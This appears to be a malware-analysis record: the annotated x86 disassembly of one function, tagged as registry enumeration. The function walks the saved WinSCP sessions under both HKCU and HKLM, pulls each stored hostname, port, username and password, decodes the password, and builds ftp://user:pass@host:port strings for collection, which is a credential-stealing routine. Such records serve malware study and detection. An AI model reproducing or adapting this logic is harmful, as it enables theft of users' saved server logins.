Function at 0x404b67
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
call fcn.0040b963
push 0xc20
push 8
push dword [0x4253c8]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 8], edi
je 0x404dd3
lea eax, [edi + 0x3fc]
add eax, 0x1fe
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x100]
push eax
mov edx, str.SOFTWAREmartin_prikrylwinscp_2_sessions
mov dword [ebp - 0x2c], 0x80000001
mov dword [ebp - 0x28], 0x80000002
call fcn.00405a2e
lea eax, [ebp - 0x54]
push eax
mov edx, str.hostname
call fcn.00405a2e
lea eax, [ebp - 0x80]
push eax
mov edx, str.portnumber
call fcn.00405a2e
lea eax, [ebp - 0x40]
push eax
mov edx, str.username
call fcn.00405a2e
lea eax, [ebp - 0x68]
push eax
mov edx, str.password
call fcn.00405a2e
add esp, 0x14
mov dword [ebp - 0x10], ebx
mov esi, 0xff
lea eax, [ebp - 4]
push eax
push 8
push ebx
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x10]
push dword [ebp + eax*4 - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404dbf
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x404dae
inc dword [ebp - 0x14]
push esi
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.0040875e
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0x24], eax
je 0x404d89
cmp eax, ebx
jbe 0x404d89
push esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
call fcn.0040875e
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x404d87
test ebx, ebx
jbe 0x404d87
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 8]
add eax, 0x1fe
lea edi, [eax + 0x1fe]
mov eax, dword [ebp - 4]
call fcn.0040875e
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x404d87
test eax, eax
jbe 0x404d87
mov eax, dword [ebp - 0x24]
add ebx, eax
mov eax, dword [ebp - 8]
add eax, 0x1fe
push ebx
lea edi, [eax + 0x1fe]
call fcn.00404aaf
test eax, eax
pop ecx
jle 0x404d87
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.0040881b
mov edi, eax
cmp edi, 1
pop ecx
pop ecx
jb 0x404d35
cmp edi, 0xffff
jbe 0x404d38
push 0x15
pop edi
lea eax, [ebp - 0xa8]
push eax
mov edx, str.ftp:___s:_s__s:_u_n
call fcn.00405a2e
mov eax, dword [ebp - 8]
push edi
mov edi, dword [ebp - 0x20]
push eax
lea ecx, [eax + 0x3fc]
push ecx
add eax, 0x1fe
push eax
lea eax, [ebp - 0xa8]
push eax
mov edx, 0x311
call fcn.0040bebf
add esp, 0x18
test eax, eax
jle 0x404d87
push edi
lea ecx, [ebp - 0x1c]
call fcn.0040bad1
test al, al
pop ecx
je 0x404d87
inc dword [ebp - 0x18]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0xc], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov edi, dword [ebp - 8]
test eax, eax
je 0x404c5c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jb 0x404c11
push edi
call fcn.0040b900
pop ecx
cmp dword [ebp - 0x18], ebx
jbe 0x404de2
mov esi, dword [ebp - 0x1c]
call fcn.004039e4
jmp 0x404deb
push dword [ebp - 0x1c]
call fcn.0040b900
pop ecx
pop edi
pop esi
pop ebx
leave
ret